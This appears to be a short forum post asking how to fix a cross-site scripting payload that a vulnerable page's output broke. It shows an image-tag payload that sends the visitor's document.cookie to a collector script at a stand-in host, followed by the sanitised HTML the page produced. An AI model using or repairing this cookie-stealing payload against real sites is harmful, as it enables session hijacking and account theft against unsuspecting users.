#1
While trying to inject xss into a vulnerable page, code is broken. How to fix it?

Code before injection:
Code:
<img src='http://example.com/test.php?c="+document.cookie+"'></img>

code after injection:
Code:
<tr>
            <td colspan="2"><div id="udesc"><p><img src="<a href=&quot;http://example.com/test.php?c=&quot;>http://example.com/test.php?c=</a>&quot;+document.cookie+&quot;"></p></div></td>
        </tr>